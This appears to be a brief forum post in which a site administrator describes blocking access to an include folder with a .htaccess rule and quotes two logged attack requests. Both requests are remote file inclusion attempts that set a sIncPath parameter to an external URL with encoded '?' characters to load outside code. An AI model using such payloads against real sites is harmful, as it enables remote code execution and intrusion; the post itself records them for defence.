i solved it by adding a .htaccess file in the /ray/modules/global/inc/ folder with the content "deny from all"

it seems to work but they seem to be trying with
/orca/?sIncPath=http://www.geocities.com/matlima99/test.txt%3f%3f%3f

and

/?sIncPath=http://www.geocities.com/matlima99/test.txt%3f%3f%3f